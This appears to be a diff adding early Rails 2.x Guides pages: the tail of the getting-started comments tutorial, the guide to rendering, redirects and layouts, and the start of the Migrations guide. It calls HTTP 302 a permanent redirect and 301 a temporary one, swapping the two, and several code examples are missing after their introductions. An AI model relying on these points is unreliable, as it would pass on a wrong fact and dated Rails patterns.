+ @post= Post.find(params[:post_id])
+ @comments=@post.comments
+ end
+
+ def show
+ @post= Post.find(params[:post_id])
+ @comment= Comment.find(params[:id])
+ end
+
+ def new
+ @post= Post.find(params[:post_id])
+ @comment=@post.comments.build
+ end
+
+ def create
+ @post= Post.find(params[:post_id])
+ @comment=@post.comments.build(params[:comment])
+ if@comment.save
+ redirect_to post_comment_path(@post,@comment)
+ else
+ render :action =>"new"
+ end
+ end
+
+ def edit
+ @post= Post.find(params[:post_id])
+ @comment= Comment.find(params[:id])
+ end
+
+ def update
+ @post= Post.find(params[:post_id])
+ @comment= Comment.find(params[:id])
+ if@comment.update_attributes(params[:comment])
+ redirect_to post_comment_path(@post,@comment)
+ else
+ render :action =>"edit"
+ end
+ end
+
+end
+
+
You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.
+
In addition, the code takes advantage of some of the methods available for an association. For example, in the new method, it calls
+
+
+
@comment=@post.comments.build
+
+
This creates a new Comment object and sets up the post_id field to have the id from the specified Post object in a single operation.
+
8.5. Building Views
+
Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking script/generate controller will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.
Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.
+
8.6. Hooking Comments to Posts
+
As a final step, I'll modify the show.html.erb view for a post to show the comments on that post, and to allow managing those comments:
Note that each post has its own individual comments collection, accessible as @post.comments. That's a consequence of the declarative associations in the models. Path helpers such as post_comments_path come from the nested route declaration in config/routes.rb.
+
+
9. What's Next?
+
+
Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:
Rails also comes with built-in help that you can generate using the rake command-line utility:
+
+
+
+Running rake doc:guides will put a full copy of the Rails Guides in the /doc/guides folder of your application. Open /doc/guides/index.html in your web browser to explore the Guides.
+
+
+
+
+Running rake doc:rails will put a full copy of the API documentation for Rails in the /doc/api folder of your application. Open /doc/api/index.html in your web browser to explore the API documentation.
+
Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
This guide covers the basic layout features of Action Controller and Action View,
+including rendering and redirecting, using content_for blocks, and working
+with partials.
This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
This is a rather comprehensive guide to doing both unit and functional tests
+in Rails. It covers everything from “What is a test?” to the testing APIs.
+Enjoy.
This guide describes how to debug Rails applications. It covers the different
+ways of achieving this and how to understand what is happening "behind the scenes"
+of your code.
This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
+
+
+
+Use the various rendering methods built in to Rails
+
+
+
+
+Create layouts with multiple content sections
+
+
+
+
+Use partials to DRY up your views
+
+
+
+
+
+
1. Overview: How the Pieces Fit Together
+
+
This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
+
In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
+
+
2. Creating Responses
+
+
From the controller's point of view, there are three ways to create an HTTP response:
+
+
+
+Call render to create a full response to send back to the browser
+
+
+
+
+Call redirect_to to send an HTTP redirect status code to the browser
+
+
+
+
+Call head to create a response consisting solely of HTTP headers to send back to the browser
+
+
+
+
I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
+
2.1. Rendering by Default: Convention Over Configuration in Action
+
You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your BooksController class:
+
+
+
def show
+ @book= Book.find(params[:id])
+end
+
+
Rails will automatically render app/views/books/show.html.erb after running the method. In fact, if you have the default catch-all route in place (map.connect :controller/:action/:id), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for /books/sale_list, Rails will render app/views/books/sale_list.html.erb in response.
+
+
+
+
+
+
The actual rendering is done by subclasses of ActionView::TemplateHandlers. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are .erb for ERB (HTML with embedded Ruby), .rjs for RJS (javascript with embedded ruby) and .builder for Builder (XML generator). You'll also find .rhtml used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
+
+
+
2.2. Using render
+
In most cases, the ActionController::Base#render method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of render. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
+
+
+
+
+
+
If you want to see the exact results of a call to render without needing to inspect it in a browser, you can call render_to_string. This method takes exactly the same options as render, but it returns a string instead of sending a response back to the browser.
+
+
+
2.2.1. Rendering Nothing
+
Perhaps the simplest thing you can do with render is to render nothing at all:
+
+
+
render :nothing =>true
+
+
This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
+
+
+
+
+
+
You should probably be using the head method, discussed later in this guide, instead of render :nothing. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
+
+
+
2.2.2. Using render with :action
+
If you want to render the view that corresponds to a different action within the same template, you can use render with the :action option:
If the call to update_attributes_ fails, calling the +update action in this controller will render the edit.html.erb template belonging to the same controller.
+
+
+
+
+
+
Using render with :action is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does not run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling render.
+
+
+
2.2.3. Using render with :template
+
What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the :template option to render, which accepts the full path (relative to app/views) of the template to render. For example, if you're running code in an AdminProductsController that lives in app/controllers/admin, you can render the results of an action to a template in app/views/products this way:
+
+
+
render :template =>'products/show'
+
+
2.2.4. Using render with :file
+
If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the :file option to render:
The :file option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
+
+
+
+
+
+
By default, if you use the :file option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the :layout ⇒ true option
+
+
+
2.2.5. Using render with :inline
+
The render method can do without a view completely, if you're willing to use the :inline option to supply ERB as part of the method call. This is perfectly valid:
+
+
+
render :inline =>"<% products.each do |p| %><p><%= p.name %><p><% end %>"
+
+
+
+
+
+
+
There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
+
+
+
By default, inline rendering uses ERb. You can force it to use Builder instead with the :type option:
Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+
+
+
2.2.7. Rendering Text
+
You can send plain text - with no markup at all - back to the browser by using the :text option to render:
+
+
+
render :text =>"OK"
+
+
+
+
+
+
+
Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
+
+
+
+
+
+
+
+
By default, if you use the :text option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the :layout ⇒ true option
+
+
+
2.2.8. Rendering JSON
+
JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
+
+
+
render :json =>@product
+
+
+
+
+
+
+
You don't need to call to_json on the object that you want to render. If you use the :json option, render will automatically call to_json for you.
+
+
+
2.2.9. Rendering XML
+
Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
+
+
+
render :xml =>@product
+
+
+
+
+
+
+
You don't need to call to_xml on the object that you want to render. If you use the :xml option, render will automatically call to_xml for you.
+
+
+
2.2.10. Rendering Vanilla JavaScript
+
Rails can render vanilla JavaScript (as an alternative to using update with n .rjs file):
+
+
+
render :js =>"alert('Hello Rails');"
+
+
This will send the supplied string to the browser with a MIME type of text/javascript.
+
2.2.11. Options for render
+
Calls to the render method generally accept four options:
+
+
+
+:content_type
+
+
+
+
+:layout
+
+
+
+
+:status
+
+
+
+
+:location
+
+
+
+
The :content_type Option
+
By default, Rails will serve the results of a rendering operation with the MIME content-type of text/html (or application/json if you use the :json option, or application/xml for the :xml option.). There are times when you might like to change this, and you can do so by setting the :content_type option:
With most of the options to render, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+
You can use the :layout option to tell Rails to use a specific file as the layout for the current action:
+
+
+
render :layout =>'special_layout'
+
+
You can also tell Rails to render with no layout at all:
+
+
+
render :layout =>false
+
+
The :status Option
+
Rails will automatically generate a response with the correct HTML status code (in most cases, this is 200 OK). You can use the :status option to change this:
Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in actionpack/lib/action_controller/status_codes.rb. You can also see there how it maps symbols to status codes in that file.
+
The :location Option
+
You can use the :location option to set the HTTP Location header:
To find the current layout, Rails first looks for a file in app/views/layouts with the same base name as the controller. For example, rendering actions from the PhotosController class will use /app/views/layouts/photos.html.erb. If there is no such controller-specific layout, Rails will use /app/views/layouts/application.html.erb. If there is no .erb layout, Rails will use a .builder layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+
Specifying Layouts on a per-Controller Basis
+
You can override the automatic layout conventions in your controllers by using the layout declaration in the controller. For example:
With this declaration, all views in the entire application will use app/views/layouts/main.html.erb for their layout.
+
Choosing Layouts at Runtime
+
You can use a symbol to defer the choice of layout until a request is processed:
+
+
+
class ProductsController < ApplicationController
+ layout :products_layout
+
+ def show
+ @product= Product.find(params[:id])
+ end
+
+ private
+ def products_layout
+ @current_user.special? ?"special":"products"
+ end
+
+end
+
+
Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
With those declarations, the inventory layout would be used only for the index method, the product layout would be used for everything else except the rss method, and the rss method will have its layout determined by the automatic layout rules.
+
Layout Inheritance
+
Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
class OldPostsController < SpecialPostsController
+ layout nil
+
+ def show
+ @post= Post.find(params[:id])
+ end
+
+ def index
+ @old_posts= Post.older
+ render :layout =>"old"
+ end
+ # ...
+end
+
+
In this application:
+
+
+
+In general, views will be rendered in the main layout
+
+
+
+
+PostsController#index will use the main layout
+
+
+
+
+SpecialPostsController#index will use the special layout
+
+
+
+
+OldPostsController#show will use no layout at all
+
+
+
+
+OldPostsController#index will use the old layout
+
+
+
+
2.2.13. Avoiding Double Render Errors
+
Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that render works.
+
For example, here's some code that will trigger this error:
+
+
+
def show
+ @book= Book.find(params[:id])
+ if@book.special?
+ render :action =>"special_show"
+ end
+end
+
+
If @book.special? evaluates to true, Rails will start the rendering process to dump the @book variable into the special_show view. But this will not stop the rest of the code in the show action from running, and when Rails hits the end of the action, it will start to render the show view - and throw an error. The solution is simple: make sure that you only have one call to render or redirect in a single code path. One thing that can help is and return. Here's a patched version of the method:
+
+
+
def show
+ @book= Book.find(params[:id])
+ if@book.special?
+ render :action =>"special_show"andreturn
+ end
+end
+
+
2.3. Using redirect_to
+
Another way to handle returning responses to a HTTP request is with redirect_to. As you've seen, render tells Rails which view (or other asset) to use in constructing a response. The redirect_to method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+
+
redirect_to photos_path
+
+
You can use redirect_to with any arguments that you could use with link_to or url_for. In addition, there's a special redirect that sends the user back to the page they just came from:
+
+
+
redirect_to :back
+
+
2.3.1. Getting a Different Redirect Status Code
+
Rails uses HTTP status code 302 (permanent redirect) when you call redirect_to. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the :status option:
+
+
+
redirect_to photos_path, :status => 301
+
+
Just like the :status option for render, :status for redirect_to accepts both numeric and symbolic header designations.
+
2.3.2. The Difference Between render and redirect
+
Sometimes inexperienced developers conceive of redirect_to as a sort of goto command, moving execution from one place to another in your Rails code. This is not correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.
+
Consider these actions to see the difference:
+
+
+
def index
+ @books= Book.find(:all)
+end
+
+def show
+ @book= Book.find(params[:id])
+ if@book.nil?
+ render :action =>"index"andreturn
+ end
+end
+
+
With the code in this form, there will be likely be a problem if the @book variable is nil. Remember, a render :action doesn't run any code in the target action, so nothing will set up the @books variable that the index view is presumably depending on. One way to fix this is to redirect instead of rendering:
+
+
+
def index
+ @books= Book.find(:all)
+end
+
+def show
+ @book= Book.find(params[:id])
+ if@book.nil?
+ redirect_to :action =>"index"andreturn
+ end
+end
+
+
With this code, the browser will make a fresh request for the index page, the code in the index method will run, and all will be well.
+
2.4. Using head To Build Header-Only Responses
+
The head method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling render :nothing. The head method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+
+
head :bad_request
+
+
Or you can use other HTTP headers to convey additional information:
+
+
+
head :created,:location => photo_path(@photo)
+
+
+
3. Structuring Layouts
+
+
When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+
+
+Asset tags
+
+
+
+
+yield and content_for
+
+
+
+
+Partials
+
+
+
+
I'll discuss each of these in turn.
+
3.1. Asset Tags
+
Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
+
+
+
+auto_discovery_link_tag
+
+
+
+
+javascript_include_tag
+
+
+
+
+stylesheet_link_tag
+
+
+
+
+image_tag
+
+
+
+
You can use these tags in layouts or other views, although the tags other than image_tag are most commonly used in the <head> section of a layout.
+
+
+
+
+
+
The asset tags do not verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+
+
3.1.1. Linking to Feeds with auto_discovery_link_tag
+
The auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (:rss+ or :atom), a hash of options that are passed through to url_for, and a hash of options for the tag:
There are three tag options available for auto_discovery_link_tag:
+
+
+
+:rel specifies the rel value in the link (defaults to "alternate")
+
+
+
+
+:type specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
+
+
+
+
+:title specifies the title of the link
+
+
+
+
3.1.2. Linking to Javascript Files with javascript_include_tag
+
The javascript_include_tag helper returns an HTML <script> tag for each source provided. Rails looks in public/javascripts for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/javascripts/main.js:
+
+
+
<%= javascript_include_tag "main" %>
+
+
To include public/javascripts/main.js and public/javascripts/columns.js:
+
+
+
<%= javascript_include_tag "main", "columns" %>
+
+
To include public/javascripts/main.js and public/photos/columns.js:
If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your javascript_include_tag:
3.1.3. Linking to CSS Files with stylesheet_link_tag
+
The stylesheet_link_tag helper returns an HTML <link> tag for each source provided. Rails looks in public/stylesheets for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include public/stylesheets/main.cs:
+
+
+
<%= stylesheet_link_tag "main" %>
+
+
To include public/stylesheets/main.css and public/stylesheets/columns.css:
+
+
+
<%= stylesheet_link_tag "main", "columns" %>
+
+
To include public/stylesheets/main.css and public/photos/columns.css:
By default, stylesheet_link_tag creates links with media="screen" rel="stylesheet" type="text/css". You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):
+
+
+
<%= stylesheet_link_tag "main_print", media =>"print"%>
+
+
The all option links every CSS file in public/stylesheets:
+
+
+
<%= stylesheet_link_tag :all %>
+
+
You can supply the :recursive option to link files in subfolders of public/stylesheets as well:
If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify :cache ⇒ true in your stylesheet_link_tag:
The image_tag helper builds an HTML <image> tag to the specified file. By default, files are loaded from public/images. If you don't specify an extension, .png is assumed by default:
There are also three special options you can use with image_tag:
+
+
+
+:alt specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
+
+
+
+
+
+
+
+
+:mouseover sets an alternate image to be used when the onmouseover event is fired.
+
+
+
+
3.2. Understanding yield
+
Within the context of a layout, yield identifies a section where content from the view should be inserted. The simplest way to use this is to have a single yield, into which the entire contents of the view currently being rendered is inserted:
The main body of the view will always render into the unnamed yield. To render content into a named yield, you use the content_for method.
+
3.3. Using content_for
+
The content_for method allows you to insert content into a yield block in your layout. You only use content_for to insert content in named yields. For example, this view would work with the layout that you just saw:
+
+
+
<% content_for :head do %>
+ <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+
+
The result of rendering this page into the supplied layout would be this HTML:
The content_for method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.
+
3.4. Using Partials
+
Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
3.4.1. Naming Partials
+
To render a partial as part of a view, you use the render method within the view, and include the :partial option:
+
+
+
<%= render :partial =>"menu"%>
+
+
This will render a file named _menu.html.erb at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+
+
<%= render :partial =>"shared/menu"%>
+
+
That code will pull in the partial from app/views/shared/_menu.html.erb.
+
3.4.2. Using Partials to Simplify Views
+
One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+
+
<%= render :partial => "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render :partial => "shared/footer" %>
+
+
Here, the _ad_banner.html.erb and _footer.html.erb partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+
+
+
+
+
For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+
+
3.4.3. Partial Layouts
+
A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
This would look for a partial named _link_area.html.erb and render it using the layout _graybar.html.erb. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master layouts folder).
+
3.4.4. Passing Local Variables
+
You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.
+
Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the :object option:
Within the customer partial, the @customer variable will refer to @new_customer from the parent view.
+
+
+
+
+
+
In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
+
+
+
If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+
+
<%= render :partial => @customer %>
+
+
Assuming that the @customer instance variable contains an instance of the Customer model, this will use _customer.html.erb to render it.
+
3.4.5. Rendering Collections
+
Partials are very useful in rendering collections. When you pass a collection to a partial via the :collection option, the partial will be inserted once for each member in the collection:
When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is _product, and within the +_product partial, you can refer to product to get the instance that is being rendered. To use a custom local variable name within the partial, specify the :as option in the call to the partial:
With this change, you can access an instance of the @products collection as the item local variable within the partial.
+
+
+
+
+
+
Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by _counter. For example, if you're rendering @products, within the partial you can refer to product_counter to tell you how many times the partial has been rendered.
+
+
+
You can also specify a second partial to be rendered between instances of the main partial by using the :spacer_template option:
Rails will render the _product_ruler partial (with no data passed in to it) between each pair of _product partials.
+
There's also a shorthand syntax available for rendering collections. For example, if @products is a collection of products, you can render the collection this way:
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run rake db:migrate. Active Record will work out which migrations should be run.
+
Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
+
You'll learn all about migrations including:
+
+
+
+The generators you can use to create them
+
+
+
+
+The methods Active Record provides to manipulate your database
+
+
+
+
+The Rake tasks that manipulate them
+
+
+
+
+How they relate to schema.rb
+
+
+
+
+
+
1. Anatomy Of A Migration
+
+
Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:
+
+
+
class CreateProducts < ActiveRecord::Migration
+ defself.up
+ create_table :products do|t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :products
+ end
+end
+
+
This migration adds a table called products with a string column called name and a text column called description. A primary key column called id will also be added, however since this is the default we do not need to ask for this. The timestamp columns created_at and updated_at which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
+
Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
+
+
+
class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+ defself.up
+ change_table :users do|t|
+ t.boolean :receive_newsletter,:default =>false
+ end
+ User.update_all ["receive_newsletter = ?",true]
+ end
+
+ defself.down
+ remove_column :users,:receive_newsletter
+ end
+end
+
+
This migration adds an receive_newsletter column to the users table. We want it to default to false for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to true for existing users.
+
+
+
+
+
+
Some caveats apply to using models in your migrations.
+
+
+
1.1. Migrations are classes
+
A migration is a subclass of ActiveRecord::Migration that implements two class methods: up (perform the required transformations) and down (revert them).
+
Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
+
+
+
+create_table
+
+
+
+
+change_table
+
+
+
+
+drop_table
+
+
+
+
+add_column
+
+
+
+
+remove_column
+
+
+
+
+change_column
+
+
+
+
+rename_column
+
+
+
+
+add_index
+
+
+
+
+remove_index
+
+
+
+
If you need to perform tasks specific to your database (for example create a foreign key constraint) then the execute function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
+write code to set the value of that column for existing records (if necessary using your models).
+
On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
+
1.2. What's in a name
+
Migrations are stored in files in db/migrate, one for each migration class. The name of the file is of the form YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example 20080906120000_create_products.rb should define CreateProducts and 20080906120001_add_details_to_products.rb should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.
+
Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting config.active_record.timestamped_migrations to false in environment.rb.
+
The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
+
For example Alice adds migrations 20080906120000 and 20080906123000 and Bob adds 20080906124500 and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so rake db:migrate would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.
+
Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.
+
1.3. Changing migrations
+
Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run rake db:migrate. You must rollback the migration (for example with rake db:rollback), edit your migration and then run rake db:migrate to run the corrected version.
+
In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
+
+
2. Creating A Migration
+
+
2.1. Creating a model
+
The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
+
ruby script/generate model Product name:string description:text will create a migration that looks like this
+
+
+
class CreateProducts < ActiveRecord::Migration
+ defself.up
+ create_table :products do|t|
+ t.string :name
+ t.text :description
+
+ t.timestamps
+ end
+ end
+
+ defself.down
+ drop_table :products
+ end
+end
+
+
You can append as many column name/type pairs as you want. By default t.timestamps (which creates the updated_at and created_at columns that
+are automatically populated by Active Record) will be added for you.
+
2.2. Creating a standalone migration
+
If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
This will create an empty but appropriately named migration:
+
+
+
class AddPartNumberToProducts < ActiveRecord::Migration
+ defself.up
+ end
+
+ defself.down
+ end
+end
+
+
If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
+the appropriate add and remove column statements will be created.
the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the string, integer etc. methods create a column of that type. Subsequent parameters are identical.
By default create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass :id ⇒ false. If you need to pass database specific options you can place an sql fragment in the :options option. For example
Will append ENGINE=BLACKHOLE to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").
+
The types Active Record supports are :primary_key, :string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean.
+
These will be mapped onto an appropriate underlying database type, for example with MySQL :string is mapped to VARCHAR(255). You can create columns of
+types not supported by Active Record when using the non sexy syntax, for example
This may however hinder portability to other databases.
+
3.2. Changing tables
+
create_table's close cousin is change_table. Used for changing existing tables, it is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example
You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example remove_column becomes just remove and add_index becomes just index.
+
3.3. Special helpers
+
Active Record provides some shortcuts for common functionality. It is for example very common to add both the created_at and updated_at columns and so there is a method that does exactly that:
will create a category_id column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the _id for you. If you have polymorphic belongs_to associations then references will add both of the columns required:
will add an attachment_id column and a string attachment_type column with a default value of Photo.
+
+
+
+
+
+
The references helper does not actually create foreign key constraints for you. You will need to use execute for that or a plugin that adds foreign key support.
+
+
+
If the helpers provided by Active Record aren't enough you can use the execute function to execute arbitrary SQL.
The down method of your migration should revert the transformations done by the up method. In other words the database should be unchanged if you do an up followed by a down. For example if you create a table in the up you should drop it in the down method. It is wise to do things in precisely the reverse order to in the up method. For example
Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your down method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.
+
+
4. Running Migrations
+
+
Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be db:migrate. In its most basic form it just runs the up method for all the migrations that have not yet been run. If there are no such migrations it exits.
+
If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
+
+
+
rake db:migrate VERSION=20080906120000
+
+
If this is greater than the current version (i.e. it is migrating upwards) this will run the up method on all migrations up to and including 20080906120000, if migrating downwards this will run the down method on all the migrations down to, but not including, 20080906120000.
+
4.1. Rolling back
+
A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
+
+
+
rake db:rollback
+
+
This will run the down method from the latest migration. If you need to undo several migrations you can provide a STEP parameter:
+
+
+
rake db:rollback STEP=3
+
+
will run the down method from the last 3 migrations.
+
The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task you can use the STEP parameter if you need to go more than one version back, for example
+
+
+
rake db:migrate:redo STEP=3
+
+
Neither of these Rake tasks do anything you could not do with db:migrate, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
+
Lastly, the db:reset task will drop the database, recreate it and load the current schema into it.
+
+
+
+
+
+
This is not the same as running all the migrations - see the section on schema.rb.
+
+
+
4.2. Being Specific
+
If you need to run a specific migration up or down the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its up or down method invoked, for example
+
+
+
rake db:migrate:up VERSION=20080906120000
+
+
will run the up method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example db:migrate:up VERSION=20080906120000 will do nothing if Active Record believes that 20080906120000 has already been run.
+
4.3. Being talkative
+
By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this
Several methods are provided that allow you to control all this:
+
+
+
